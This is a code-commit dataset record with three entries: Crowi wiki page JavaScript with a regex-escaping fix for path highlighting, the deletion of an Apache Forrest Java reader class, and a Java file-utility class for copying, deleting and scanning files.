if (attachments.length > 0) {
$.each(attachments, function(i, file) {
$pageAttachmentList.append(
'<li><a href="' + file.fileUrl + '">' + (file.originalName || file.fileName) + '</a> <span class="label label-default">' + file.fileFormat + '</span></li>'
);
})
} else {
$('.page-attachments').remove();
}
});
// bookmark
var $bookmarkButton = $('#bookmark-button');
$.get('/_api/bookmarks.get', {page_id: pageId}, function(res) {
if (res.ok) {
if (res.bookmark) {
MarkBookmarked();
}
}
});
$bookmarkButton.click(function() {
var bookmarked = $bookmarkButton.data('bookmarked');
if (!bookmarked) {
$.post('/_api/bookmarks.add', {page_id: pageId}, function(res) {
if (res.ok && res.bookmark) {
MarkBookmarked();
}
});
} else {
$.post('/_api/bookmarks.remove', {page_id: pageId}, function(res) {
if (res.ok) {
MarkUnBookmarked();
}
});
}
return false;
});
function MarkBookmarked()
{
$('i', $bookmarkButton)
.removeClass('fa-star-o')
.addClass('fa-star');
$bookmarkButton.data('bookmarked', 1);
}
function MarkUnBookmarked()
{
$('i', $bookmarkButton)
.removeClass('fa-star')
.addClass('fa-star-o');
$bookmarkButton.data('bookmarked', 0);
}
// Like
var $likeButton = $('#like-button');
var $likeCount = $('#like-count');
$likeButton.click(function() {
var liked = $likeButton.data('liked');
if (!liked) {
$.post('/_api/likes.add', {page_id: pageId}, function(res) {
if (res.ok) {
MarkLiked();
}
});
} else {
$.post('/_api/likes.remove', {page_id: pageId}, function(res) {
if (res.ok) {
MarkUnLiked();
}
});
}
return false;
});
var $likerList = $("#liker-list");
var likers = $likerList.data('likers');
if (likers && likers.length > 0) {
// FIXME: user data cache
$.get('/_api/users.list', {user_ids: likers}, function(res) {
// ignore unless response has error
if (res.ok) {
AddToLikers(res.users);
}
});
}
function AddToLikers (users) {
$.each(users, function(i, user) {
$likerList.append(CreateUserLinkWithPicture(user));
});
}
function MarkLiked()
{
$likeButton.addClass('active');
$likeButton.data('liked', 1);
$likeCount.text(parseInt($likeCount.text()) + 1);
}
function MarkUnLiked()
{
$likeButton.removeClass('active');
$likeButton.data('liked', 0);
$likeCount.text(parseInt($likeCount.text()) - 1);
}
if (!isSeen) {
$.post('/_api/pages.seen', {page_id: pageId}, function(res) {
// ignore unless response has error
if (res.ok && res.seenUser) {
$('#content-main').data('page-is-seen', 1);
}
});
}
var $seenUserList = $("#seen-user-list");
var seenUsers = $seenUserList.data('seen-users');
var seenUsersArray = seenUsers.split(',');
if (seenUsers && seenUsersArray.length > 0 && seenUsersArray.length <= 10) {
// FIXME: user data cache
$.get('/_api/users.list', {user_ids: seenUsers}, function(res) {
// ignore unless response has error
if (res.ok) {
AddToSeenUser(res.users);
}
});
}
function CreateUserLinkWithPicture (user) {
var $userHtml = $('<a>');
$userHtml.data('user-id', user._id);
$userHtml.attr('href', '/user/' + user.username);
$userHtml.attr('title', user.name);
var $userPicture = $('<img class="picture picture-xs picture-rounded">');
$userPicture.attr('alt', user.name);
$userPicture.attr('src', Crowi.userPicture(user));
$userHtml.append($userPicture);
return $userHtml;
}
function AddToSeenUser (users) {
$.each(users, function(i, user) {
$seenUserList.append(CreateUserLinkWithPicture(user));
});
}
// History Diff
var allRevisionIds = [];
$.each($('.diff-view'), function() {
allRevisionIds.push($(this).data('revisionId'));
});
$('.diff-view').on('click', function(e) {
e.preventDefault();
var getBeforeRevisionId = function(revisionId) {
var currentPos = $.inArray(revisionId, allRevisionIds);
if (currentPos < 0) {
return false;
}
var beforeRevisionId = allRevisionIds[currentPos + 1];
if (typeof beforeRevisionId === 'undefined') {
return false;
}
return beforeRevisionId;
};
var revisionId = $(this).data('revisionId');
var beforeRevisionId = getBeforeRevisionId(revisionId);
var $diffDisplay = $('#diff-display-' + revisionId);
var $diffIcon = $('#diff-icon-' + revisionId);
if ($diffIcon.hasClass('fa-arrow-circle-right')) {
$diffIcon.removeClass('fa-arrow-circle-right');
$diffIcon.addClass('fa-arrow-circle-down');
} else {
$diffIcon.removeClass('fa-arrow-circle-down');
$diffIcon.addClass('fa-arrow-circle-right');
}
if (beforeRevisionId === false) {
$diffDisplay.text('差分はありません');
$diffDisplay.slideToggle();
} else {
var revisionIds = revisionId + ',' + beforeRevisionId;
$.ajax({
type: 'GET',
url: '/_api/revisions.list?revision_ids=' + revisionIds,
dataType: 'json'
}).done(function(res) {
var currentText = res[0].body;
var previousText = res[1].body;
$diffDisplay.text('');
var diff = jsdiff.diffLines(previousText, currentText);
diff.forEach(function(part) {
var color = part.added ? 'green' : part.removed ? 'red' : 'grey';
var $span = $('<span>');
$span.css('color', color);
$span.text(part.value);
$diffDisplay.append($span);
});
$diffDisplay.slideToggle();
});
}
});
// default open
$('.diff-view').each(function(i, diffView) {
if (i < 2) {
$(diffView).click();
}
});
}
});
| resource/js/crowi.js | /* jshint browser: true, jquery: true */
/* global FB, marked */
/* Author: Sotaro KARASAWA <[email protected]>
*/
var hljs = require('highlight.js');
var jsdiff = require('diff');
var marked = require('marked');
var Crowi = {};
if (!window) {
window = {};
}
window.Crowi = Crowi;
Crowi.createErrorView = function(msg) {
$('#main').prepend($('<p class="alert-message error">' + msg + '</p>'));
};
Crowi.linkPath = function(revisionPath) {
var $revisionPath = revisionPath || '#revision-path';
var $title = $($revisionPath);
var pathData = $('#content-main').data('path');
if (!pathData) {
return ;
}
var realPath = pathData.trim();
if (realPath.substr(-1, 1) == '/') {
realPath = realPath.substr(0, realPath.length - 1);
}
var path = '';
var pathHtml = '';
var splittedPath = realPath.split(/\//);
splittedPath.shift();
splittedPath.forEach(function(sub) {
path += '/';
pathHtml += ' <a href="' + path + '">/</a> ';
if (sub) {
path += sub;
pathHtml += '<a href="' + path + '">' + sub + '</a>';
}
});
if (path.substr(-1, 1) != '/') {
path += '/';
pathHtml += ' <a href="' + path + '" class="last-path">/</a>';
}
$title.html(pathHtml);
};
Crowi.correctHeaders = function(contentId) {
// h1 ~ h6 の id 名を補正する
var $content = $(contentId || '#revision-body-content');
var i = 0;
$('h1,h2,h3,h4,h5,h6', $content).each(function(idx, elm) {
var id = 'head' + i++;
$(this).attr('id', id);
$(this).addClass('revision-head');
$(this).append('<span class="revision-head-link"><a href="#' + id +'"><i class="fa fa-link"></i></a></span>');
});
};
Crowi.revisionToc = function(contentId, tocId) {
var $content = $(contentId || '#revision-body-content');
var $tocId = $(tocId || '#revision-toc');
var $tocContent = $('<div id="revision-toc-content" class="revision-toc-content collapse"></div>');
$tocId.append($tocContent);
$('h1', $content).each(function(idx, elm) {
var id = $(this).attr('id');
var title = $(this).text();
var selector = '#' + id + ' ~ h2:not(#' + id + ' ~ h1 ~ h2)';
var $toc = $('<ul></ul>');
var $tocLi = $('<li><a href="#' + id +'">' + title + '</a></li>');
$tocContent.append($toc);
$toc.append($tocLi);
$(selector).each(function()
{
var id2 = $(this).attr('id');
var title2 = $(this).text();
var selector2 = '#' + id2 + ' ~ h3:not(#' + id2 + ' ~ h2 ~ h3)';
var $toc2 = $('<ul></ul>');
var $tocLi2 = $('<li><a href="#' + id2 +'">' + title2 + '</a></li>');
$tocLi.append($toc2);
$toc2.append($tocLi2);
$(selector2).each(function()
{
var id3 = $(this).attr('id');
var title3 = $(this).text();
var $toc3 = $('<ul></ul>');
var $tocLi3 = $('<li><a href="#' + id3 +'">' + title3 + '</a></li>');
$tocLi2.append($toc3);
$toc3.append($tocLi3);
});
});
});
};
Crowi.escape = function(s) {
s = s.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/'/g, ''')
.replace(/"/g, '"')
;
return s;
};
Crowi.unescape = function(s) {
s = s.replace(/ /g, ' ')
.replace(/&/g, '&')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/'/g, '\'')
.replace(/"/g, '"')
;
return s;
};
Crowi.getRendererType = function() {
return new Crowi.rendererType.markdown();
};
Crowi.rendererType = {};
Crowi.rendererType.markdown = function(){};
Crowi.rendererType.markdown.prototype = {
render: function(contentText) {
marked.setOptions({
gfm: true,
highlight: function (code, lang, callback) {
var result, hl;
if (lang) {
try {
hl = hljs.highlight(lang, code);
result = hl.value;
} catch (e) {
result = code;
}
} else {
//result = hljs.highlightAuto(code);
//callback(null, result.value);
result = code;
}
return callback(null, result);
},
tables: true,
breaks: true,
pedantic: false,
sanitize: false,
smartLists: true,
smartypants: false,
langPrefix: 'lang-'
});
var contentHtml = Crowi.unescape(contentText);
// TODO 前処理系のプラグイン化
contentHtml = this.preFormatMarkdown(contentHtml);
contentHtml = this.expandImage(contentHtml);
contentHtml = this.link(contentHtml);
var $body = this.$revisionBody;
// Using async version of marked
marked(contentHtml, {}, function (err, content) {
if (err) {
throw err;
}
$body.html(content);
});
},
preFormatMarkdown: function(content){
var x = content
.replace(/^(#{1,})([^\s]+)?(.*)$/gm, '$1 $2$3') // spacer for section
.replace(/>[\s]*\n>[\s]*\n/g, '> <br>\n> \n');
return x;
},
link: function (content) {
return content
//.replace(/\s(https?:\/\/[\S]+)/g, ' <a href="$1">$1</a>') // リンク
.replace(/\s<((\/[^>]+?){2,})>/g, ' <a href="$1">$1</a>') // ページ間リンク: <> でかこまれてて / から始まり、 / が2個以上
;
},
expandImage: function (content) {
return content.replace(/\s(https?:\/\/[\S]+\.(jpg|jpeg|gif|png))/g, ' <a href="$1"><img src="$1" class="auto-expanded-image"></a>');
}
};
Crowi.renderer = function (contentText, revisionBody) {
var $revisionBody = revisionBody || $('#revision-body-content');
this.contentText = contentText;
this.$revisionBody = $revisionBody;
this.format = 'markdown'; // とりあえず
this.renderer = Crowi.getRendererType();
this.renderer.$revisionBody = this.$revisionBody;
};
Crowi.renderer.prototype = {
render: function() {
this.renderer.render(this.contentText);
}
};
// original: middleware.swigFilter
Crowi.userPicture = function (user) {
if (!user) {
return '/images/userpicture.png';
}
if (user.image && user.image != '/images/userpicture.png') {
return user.image;
} else if (user.fbId) {
return '//graph.facebook.com/' + user.fbId + '/picture?size=square';
} else {
return '/images/userpicture.png';
}
};
$(function() {
var pageId = $('#content-main').data('page-id');
var revisionId = $('#content-main').data('page-revision-id');
var revisionCreatedAt = $('#content-main').data('page-revision-created');
var currentUser = $('#content-main').data('current-user');
var isSeen = $('#content-main').data('page-is-seen');
var pagePath= $('#content-main').data('path');
Crowi.linkPath();
$('[data-toggle="tooltip"]').tooltip();
$('[data-tooltip-stay]').tooltip('show');
$('.copy-link').on('click', function () {
$(this).select();
});
$('#createMemo').on('shown.bs.modal', function (e) {
$('#memoName').focus();
});
$('#createMemoForm').submit(function(e)
{
var prefix = $('[name=memoNamePrefix]', this).val();
var name = $('[name=memoName]', this).val();
if (name === '') {
prefix = prefix.slice(0, -1);
}
top.location.href = prefix + name;
return false;
});
$('#renamePage').on('shown.bs.modal', function (e) {
$('#newPageName').focus();
});
$('#renamePageForm').submit(function(e) {
$.ajax({
type: 'POST',
url: '/_api/pages.rename',
data: $('#renamePageForm').serialize(),
dataType: 'json'
}).done(function(res) {
if (!res.ok) {
$('#newPageNameCheck').html('<i class="fa fa-times-circle"></i> ' + res.error);
$('#newPageNameCheck').addClass('alert-danger');
} else {
var page = res.page;
var path = $('#pagePath').html();
$('#newPageNameCheck').removeClass('alert-danger');
$('#newPageNameCheck').html('<img src="/images/loading_s.gif"> 移動しました。移動先にジャンプします。');
setTimeout(function() {
top.location.href = page.path + '?renamed=' + path;
}, 1000);
}
});
return false;
});
$('#create-portal-button').on('click', function(e) {
$('.portal').removeClass('hide');
$('.content-main').addClass('on-edit');
$('.portal a[data-toggle="tab"][href="#edit-form"]').tab('show');
var path = $('.content-main').data('path');
if (path != '/' && $('.content-main').data('page-id') == '') {
var upperPage = path.substr(0, path.length - 1);
$.get('/_api/pages.get', {path: upperPage}, function(res) {
if (res.ok && res.page) {
$('#portal-warning-modal').modal('show');
}
});
}
});
$('#portal-form-close').on('click', function(e) {
$('.portal').addClass('hide');
$('.content-main').removeClass('on-edit');
return false;
});
// list-link
$('.page-list-link').each(function() {
var $link = $(this);
var text = $link.text();
var path = $link.data('path');
var shortPath = $link.data('short-path');
$link.html(path.replace(new RegExp(shortPath + '(/)?$'), '<strong>' + shortPath + '$1</strong>'));
});
if (pageId) {
// if page exists
var $rawTextOriginal = $('#raw-text-original');
if ($rawTextOriginal.length > 0) {
var renderer = new Crowi.renderer($('#raw-text-original').html());
renderer.render();
Crowi.correctHeaders('#revision-body-content');
Crowi.revisionToc('#revision-body-content', '#revision-toc');
}
// header
var $header = $('#page-header');
if ($header.length > 0) {
var headerHeight = $header.outerHeight(true);
$('.header-wrap').css({height: (headerHeight + 16) + 'px'});
$header.affix({
offset: {
top: function() {
return headerHeight + 86; // (54 header + 16 header padding-top + 16 content padding-top)
}
}
});
$('[data-affix-disable]').on('click', function(e) {
$elm = $($(this).data('affix-disable'));
$(window).off('.affix');
$elm.removeData('affix').removeClass('affix affix-top affix-bottom');
return false;
});
}
// omg
function createCommentHTML(revision, creator, comment, commentedAt) {
var $comment = $('<div>');
var $commentImage = $('<img class="picture picture-rounded">')
.attr('src', Crowi.userPicture(creator));
var $commentCreator = $('<div class="page-comment-creator">')
.text(creator.username);
var $commentRevision = $('<a class="page-comment-revision label">')
.attr('href', '?revision=' + revision)
.text(revision.substr(0,8));
if (revision !== revisionId) {
$commentRevision.addClass('label-default');
} else {
$commentRevision.addClass('label-primary');
}
var $commentMeta = $('<div class="page-comment-meta">')
.text(commentedAt + ' ')
.append($commentRevision);
var $commentBody = $('<div class="page-comment-body">')
.html(comment.replace(/(\r\n|\r|\n)/g, '<br>'));
var $commentMain = $('<div class="page-comment-main">')
.append($commentCreator)
.append($commentBody)
.append($commentMeta)
$comment.addClass('page-comment');
if (creator._id === currentUser) {
$comment.addClass('page-comment-me');
}
if (revision !== revisionId) {
$comment.addClass('page-comment-old');
}
$comment
.append($commentImage)
.append($commentMain);
return $comment;
}
// get comments
var $pageCommentList = $('.page-comments-list');
var $pageCommentListNewer = $('#page-comments-list-newer');
var $pageCommentListCurrent = $('#page-comments-list-current');
var $pageCommentListOlder = $('#page-comments-list-older');
var hasNewer = false;
var hasOlder = false;
$.get('/_api/comments.get', {page_id: pageId}, function(res) {
if (res.ok) {
var comments = res.comments;
$.each(comments, function(i, comment) {
var commentContent = createCommentHTML(comment.revision, comment.creator, comment.comment, comment.createdAt);
if (comment.revision == revisionId) {
$pageCommentListCurrent.append(commentContent);
} else {
if (Date.parse(comment.createdAt)/1000 > revisionCreatedAt) {
$pageCommentListNewer.append(commentContent);
hasNewer = true;
} else {
$pageCommentListOlder.append(commentContent);
hasOlder = true;
}
}
});
}
}).fail(function(data) {
}).always(function() {
if (!hasNewer) {
$('.page-comments-list-toggle-newer').hide();
}
if (!hasOlder) {
$pageCommentListOlder.addClass('collapse');
$('.page-comments-list-toggle-older').hide();
}
});
// post comment event
$('#page-comment-form').on('submit', function() {
$button = $('#commenf-form-button');
$button.attr('disabled', 'disabled');
$.post('/_api/comments.add', $(this).serialize(), function(data) {
$button.removeAttr('disabled');
if (data.ok) {
var comment = data.comment;
$pageCommentList.prepend(createCommentHTML(comment.revision, comment.creator, comment.comment, comment.createdAt));
$('#comment-form-comment').val('');
$('#comment-form-message').text('');
} else {
$('#comment-form-message').text(data.error);
}
}).fail(function(data) {
if (data.status !== 200) {
$('#comment-form-message').text(data.statusText);
}
});
return false;
});
// attachment
var $pageAttachmentList = $('.page-attachments ul');
$.get('/_api/attachment/page/' + pageId, function(res) {
var attachments = res.data.attachments;
if (attachments.length > 0) {
$.each(attachments, function(i, file) {
$pageAttachmentList.append(
'<li><a href="' + file.fileUrl + '">' + (file.originalName || file.fileName) + '</a> <span class="label label-default">' + file.fileFormat + '</span></li>'
);
})
} else {
$('.page-attachments').remove();
}
});
// bookmark
var $bookmarkButton = $('#bookmark-button');
$.get('/_api/bookmarks.get', {page_id: pageId}, function(res) {
if (res.ok) {
if (res.bookmark) {
MarkBookmarked();
}
}
});
$bookmarkButton.click(function() {
var bookmarked = $bookmarkButton.data('bookmarked');
if (!bookmarked) {
$.post('/_api/bookmarks.add', {page_id: pageId}, function(res) {
if (res.ok && res.bookmark) {
MarkBookmarked();
}
});
} else {
$.post('/_api/bookmarks.remove', {page_id: pageId}, function(res) {
if (res.ok) {
MarkUnBookmarked();
}
});
}
return false;
});
function MarkBookmarked()
{
$('i', $bookmarkButton)
.removeClass('fa-star-o')
.addClass('fa-star');
$bookmarkButton.data('bookmarked', 1);
}
function MarkUnBookmarked()
{
$('i', $bookmarkButton)
.removeClass('fa-star')
.addClass('fa-star-o');
$bookmarkButton.data('bookmarked', 0);
}
// Like
var $likeButton = $('#like-button');
var $likeCount = $('#like-count');
$likeButton.click(function() {
var liked = $likeButton.data('liked');
if (!liked) {
$.post('/_api/likes.add', {page_id: pageId}, function(res) {
if (res.ok) {
MarkLiked();
}
});
} else {
$.post('/_api/likes.remove', {page_id: pageId}, function(res) {
if (res.ok) {
MarkUnLiked();
}
});
}
return false;
});
var $likerList = $("#liker-list");
var likers = $likerList.data('likers');
if (likers && likers.length > 0) {
// FIXME: user data cache
$.get('/_api/users.list', {user_ids: likers}, function(res) {
// ignore unless response has error
if (res.ok) {
AddToLikers(res.users);
}
});
}
function AddToLikers (users) {
$.each(users, function(i, user) {
$likerList.append(CreateUserLinkWithPicture(user));
});
}
function MarkLiked()
{
$likeButton.addClass('active');
$likeButton.data('liked', 1);
$likeCount.text(parseInt($likeCount.text()) + 1);
}
function MarkUnLiked()
{
$likeButton.removeClass('active');
$likeButton.data('liked', 0);
$likeCount.text(parseInt($likeCount.text()) - 1);
}
if (!isSeen) {
$.post('/_api/pages.seen', {page_id: pageId}, function(res) {
// ignore unless response has error
if (res.ok && res.seenUser) {
$('#content-main').data('page-is-seen', 1);
}
});
}
var $seenUserList = $("#seen-user-list");
var seenUsers = $seenUserList.data('seen-users');
var seenUsersArray = seenUsers.split(',');
if (seenUsers && seenUsersArray.length > 0 && seenUsersArray.length <= 10) {
// FIXME: user data cache
$.get('/_api/users.list', {user_ids: seenUsers}, function(res) {
// ignore unless response has error
if (res.ok) {
AddToSeenUser(res.users);
}
});
}
function CreateUserLinkWithPicture (user) {
var $userHtml = $('<a>');
$userHtml.data('user-id', user._id);
$userHtml.attr('href', '/user/' + user.username);
$userHtml.attr('title', user.name);
var $userPicture = $('<img class="picture picture-xs picture-rounded">');
$userPicture.attr('alt', user.name);
$userPicture.attr('src', Crowi.userPicture(user));
$userHtml.append($userPicture);
return $userHtml;
}
function AddToSeenUser (users) {
$.each(users, function(i, user) {
$seenUserList.append(CreateUserLinkWithPicture(user));
});
}
// History Diff
var allRevisionIds = [];
$.each($('.diff-view'), function() {
allRevisionIds.push($(this).data('revisionId'));
});
$('.diff-view').on('click', function(e) {
e.preventDefault();
var getBeforeRevisionId = function(revisionId) {
var currentPos = $.inArray(revisionId, allRevisionIds);
if (currentPos < 0) {
return false;
}
var beforeRevisionId = allRevisionIds[currentPos + 1];
if (typeof beforeRevisionId === 'undefined') {
return false;
}
return beforeRevisionId;
};
var revisionId = $(this).data('revisionId');
var beforeRevisionId = getBeforeRevisionId(revisionId);
var $diffDisplay = $('#diff-display-' + revisionId);
var $diffIcon = $('#diff-icon-' + revisionId);
if ($diffIcon.hasClass('fa-arrow-circle-right')) {
$diffIcon.removeClass('fa-arrow-circle-right');
$diffIcon.addClass('fa-arrow-circle-down');
} else {
$diffIcon.removeClass('fa-arrow-circle-down');
$diffIcon.addClass('fa-arrow-circle-right');
}
if (beforeRevisionId === false) {
$diffDisplay.text('差分はありません');
$diffDisplay.slideToggle();
} else {
var revisionIds = revisionId + ',' + beforeRevisionId;
$.ajax({
type: 'GET',
url: '/_api/revisions.list?revision_ids=' + revisionIds,
dataType: 'json'
}).done(function(res) {
var currentText = res[0].body;
var previousText = res[1].body;
$diffDisplay.text('');
var diff = jsdiff.diffLines(previousText, currentText);
diff.forEach(function(part) {
var color = part.added ? 'green' : part.removed ? 'red' : 'grey';
var $span = $('<span>');
$span.css('color', color);
$span.text(part.value);
$diffDisplay.append($span);
});
$diffDisplay.slideToggle();
});
}
});
// default open
$('.diff-view').each(function(i, diffView) {
if (i < 2) {
$(diffView).click();
}
});
}
});
| Fix not to higilight (<strong>)
| resource/js/crowi.js | Fix not to higilight (<strong>) | <ide><path>esource/js/crowi.js
<ide> var path = $link.data('path');
<ide> var shortPath = $link.data('short-path');
<ide>
<del> $link.html(path.replace(new RegExp(shortPath + '(/)?$'), '<strong>' + shortPath + '$1</strong>'));
<add> var escape = function(s) {
<add> return s.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&');
<add> };
<add> var pattern = escape(shortPath) + '(/)?$';
<add>
<add> $link.html(path.replace(new RegExp(pattern), '<strong>' + shortPath + '$1</strong>'));
<ide> });
<ide>
<ide> |
|
Java | apache-2.0 | 7020805a790da8042157cb8225092d659dd16db2 | 0 | apache/forrest,apache/forrest,apache/forrest,apache/forrest,apache/forrest,apache/forrest | whiteboard/forrest2/src/examples/affiliateProductCatalogue/src/org/apache/forrest/examples/affiliateProductCatalogue/reader/TradeDoublerReader.java | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.forrest.examples.affiliateProductCatalogue.reader;
import java.net.MalformedURLException;
import java.net.URI;
import java.net.URISyntaxException;
import org.apache.forrest.core.document.AbstractSourceDocument;
import org.apache.forrest.core.document.DefaultSourceDocument;
import org.apache.forrest.core.locationMap.Location;
import org.apache.forrest.reader.AbstractReader;
import org.apache.forrest.reader.IReader;
import org.springframework.context.support.AbstractXmlApplicationContext;
public class TradeDoublerReader extends AbstractReader {
public AbstractSourceDocument read(AbstractXmlApplicationContext context,
final Location location) {
DefaultSourceDocument doc = null;
final URI psudeoURI = location.getSourceURI();
final String ssp = psudeoURI.getSchemeSpecificPart();
URI uri;
try {
uri = new URI(ssp);
location.setSourceURI(uri);
IReader reader;
reader = (IReader) context.getBean(uri.getScheme());
doc = (DefaultSourceDocument) reader.read(context, location);
if (doc != null) {
doc
.setType("org.apache.forrest.example.affiliateProductCatalogue.TradeDoublerProductFeed");
}
} catch (final URISyntaxException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (MalformedURLException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
return doc;
}
}
| use new ChainedReader
git-svn-id: 36dcc065b18e9ace584b1c777eaeefb1d96b1ee8@476417 13f79535-47bb-0310-9956-ffa450edef68
| whiteboard/forrest2/src/examples/affiliateProductCatalogue/src/org/apache/forrest/examples/affiliateProductCatalogue/reader/TradeDoublerReader.java | use new ChainedReader | <ide><path>hiteboard/forrest2/src/examples/affiliateProductCatalogue/src/org/apache/forrest/examples/affiliateProductCatalogue/reader/TradeDoublerReader.java
<del>/*
<del> * Licensed to the Apache Software Foundation (ASF) under one or more
<del> * contributor license agreements. See the NOTICE file distributed with
<del> * this work for additional information regarding copyright ownership.
<del> * The ASF licenses this file to You under the Apache License, Version 2.0
<del> * (the "License"); you may not use this file except in compliance with
<del> * the License. You may obtain a copy of the License at
<del> *
<del> * http://www.apache.org/licenses/LICENSE-2.0
<del> *
<del> * Unless required by applicable law or agreed to in writing, software
<del> * distributed under the License is distributed on an "AS IS" BASIS,
<del> * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
<del> * See the License for the specific language governing permissions and
<del> * limitations under the License.
<del> */
<del>package org.apache.forrest.examples.affiliateProductCatalogue.reader;
<del>
<del>import java.net.MalformedURLException;
<del>import java.net.URI;
<del>import java.net.URISyntaxException;
<del>
<del>import org.apache.forrest.core.document.AbstractSourceDocument;
<del>import org.apache.forrest.core.document.DefaultSourceDocument;
<del>import org.apache.forrest.core.locationMap.Location;
<del>import org.apache.forrest.reader.AbstractReader;
<del>import org.apache.forrest.reader.IReader;
<del>import org.springframework.context.support.AbstractXmlApplicationContext;
<del>
<del>public class TradeDoublerReader extends AbstractReader {
<del>
<del> public AbstractSourceDocument read(AbstractXmlApplicationContext context,
<del> final Location location) {
<del> DefaultSourceDocument doc = null;
<del> final URI psudeoURI = location.getSourceURI();
<del> final String ssp = psudeoURI.getSchemeSpecificPart();
<del> URI uri;
<del> try {
<del> uri = new URI(ssp);
<del> location.setSourceURI(uri);
<del> IReader reader;
<del> reader = (IReader) context.getBean(uri.getScheme());
<del> doc = (DefaultSourceDocument) reader.read(context, location);
<del> if (doc != null) {
<del> doc
<del> .setType("org.apache.forrest.example.affiliateProductCatalogue.TradeDoublerProductFeed");
<del> }
<del> } catch (final URISyntaxException e) {
<del> // TODO Auto-generated catch block
<del> e.printStackTrace();
<del> } catch (MalformedURLException e) {
<del> // TODO Auto-generated catch block
<del> e.printStackTrace();
<del> }
<del> return doc;
<del> }
<del>} |
||
Java | apache-2.0 | af00df012200817d88641166b3fa3799dec61742 | 0 | brunocvcunha/inutils4j | package org.brunocunha.inutils4j;
import java.io.File;
import java.io.FileFilter;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.Collection;
import java.util.List;
import java.util.Set;
import javax.swing.JFileChooser;
public class MyFileUtils {
public static void copyFile(File f1, File f2) throws IOException {
if (!f2.getParentFile().exists()) {
f2.getParentFile().mkdirs();
}
InputStream in = null;
OutputStream out = null;
try {
in = new FileInputStream(f1);
out = new FileOutputStream(f2);
byte[] buf = new byte[1024];
int len;
while ((len = in.read(buf)) > 0) {
out.write(buf, 0, len);
}
} catch (IOException ex) {
throw ex;
} finally {
try {
in.close();
} catch (IOException ex) {
}
try {
out.close();
} catch (IOException ex) {
}
if (f2.exists()) {
f2.setLastModified(f1.lastModified());
}
}
}
// http://www.mkyong.com/java/how-to-delete-directory-in-java/
public static void delete(File file) throws IOException {
if (file.isDirectory()) {
// directory is empty, then delete it
if (file.list().length == 0) {
file.delete();
} else {
// list all the directory contents
String files[] = file.list();
for (String temp : files) {
// construct the file structure
File fileDelete = new File(file, temp);
// recursive delete
delete(fileDelete);
}
// check the directory again, if empty then delete it
if (file.list().length == 0) {
file.delete();
}
}
} else {
// if file, then delete it
file.delete();
}
}
public static void deleteChildren(File file) throws IOException {
if (file.isDirectory()) {
// list all the directory contents
String files[] = file.list();
for (String temp : files) {
// construct the file structure
File fileDelete = new File(file, temp);
// recursive delete
delete(fileDelete);
}
}
}
public static void deleteEmptyChildren(File dir) {
if (dir == null
|| !dir.exists()) {
return;
}
for (File son : dir.listFiles()) {
if (son.isDirectory()) {
if (son.listFiles().length == 0) {
System.out.println("Deleting " + son.getAbsolutePath());
son.delete();
} else {
deleteEmptyChildren(son);
}
}
}
}
public static void scanFile(final List<File> lista, final File arquivo) {
scanFile(lista, arquivo, -1);
}
public static void scanFile(final List<File> lista, final File arquivo, int stopAfter) {
if (stopAfter > 0
&& lista.size() > stopAfter) {
return;
}
try {
if (arquivo.isDirectory()) {
System.out.println("Scan " + arquivo.getName());
for (final File arquivoFilho : arquivo.listFiles()) {
if (arquivoFilho.isDirectory()) {
scanFile(lista, arquivoFilho, stopAfter);
} else {
lista.add(arquivoFilho);
}
if (stopAfter > 0
&& lista.size() > stopAfter) {
return;
}
}
} else {
// System.out.println(arquivo.getAbsolutePath());
if (arquivo != null) {
lista.add(arquivo);
}
}
} catch (Exception e) {
System.err.println("Error fetching file --> " + arquivo.getAbsolutePath() + " [" + e.getMessage() + "]");
e.printStackTrace();
}
}
public static void scanFile(final List<File> lista, final File arquivo, final FileFilter filter) {
try {
if (arquivo.isDirectory()) {
for (final File arquivoFilho : arquivo.listFiles(filter)) {
scanFile(lista, arquivoFilho, filter);
}
} else {
// System.out.println(arquivo.getAbsolutePath());
if (arquivo != null) {
lista.add(arquivo);
}
}
} catch (Exception e) {
}
}
public static File chooseFileOpen(File dir, String title) {
JFileChooser chooser = new JFileChooser();
chooser.setCurrentDirectory(dir);
chooser.setDialogTitle(title);
chooser.setFileSelectionMode(JFileChooser.FILES_ONLY);
chooser.setDialogType(JFileChooser.OPEN_DIALOG);
int save = chooser.showSaveDialog(null);
File saveTo = chooser.getSelectedFile();
return saveTo;
}
public static File chooseFileSave(File dir, String title) {
JFileChooser chooser = new JFileChooser();
chooser.setCurrentDirectory(dir);
chooser.setDialogTitle(title);
chooser.setFileSelectionMode(JFileChooser.FILES_ONLY);
chooser.setDialogType(JFileChooser.SAVE_DIALOG);
int save = chooser.showSaveDialog(null);
File saveTo = chooser.getSelectedFile();
return saveTo;
}
public static File chooseDirOpen(File dir, String title) {
JFileChooser chooser = new JFileChooser();
chooser.setCurrentDirectory(dir);
chooser.setDialogTitle(title);
chooser.setFileSelectionMode(JFileChooser.DIRECTORIES_ONLY);
chooser.setDialogType(JFileChooser.OPEN_DIALOG);
int save = chooser.showSaveDialog(null);
File saveTo = chooser.getSelectedFile();
return saveTo;
}
public static void sortLines(File file) throws IOException {
Collection<String> lines = MyStringUtils.getContentListSplit(file, "\r?\n");
Set<String> sort = MyStringUtils.fixList(FixType.ALPHABETICALDELETEREPEATED, lines);
MyStringUtils.saveToFile(0, sort, file.getAbsolutePath());
}
}
| src/main/java/org/brunocunha/inutils4j/MyFileUtils.java | package org.brunocunha.inutils4j;
import java.io.File;
import java.io.FileFilter;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.util.List;
import javax.swing.JFileChooser;
public class MyFileUtils {
